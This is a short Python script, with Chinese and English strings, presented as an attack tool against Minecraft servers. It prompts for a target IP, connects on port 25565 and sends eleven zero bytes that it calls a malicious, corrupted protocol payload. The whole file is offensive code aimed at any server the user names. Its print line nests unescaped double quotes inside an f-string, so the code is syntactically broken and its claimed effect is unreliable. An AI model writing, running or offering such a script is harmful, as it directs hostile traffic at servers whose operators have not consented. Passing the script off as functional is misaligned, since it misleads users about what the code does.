import socket

def send_attack(ip, port):
    # Forge a TCP connection
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Link up with the designated IP and port
        sock.connect((ip, port))
        
        # Dispatch a corrupted Minecraft protocol payload
        payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        sock.send(payload)
        
        print(f"已发送了恶意的"我的世界协议"负载至 {ip}:{port}")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        sock.close()

# Sample application
target_ip = input("目标IP : ")
target_port = 25565  # Minecraft default port

send_attack(target_ip, target_port)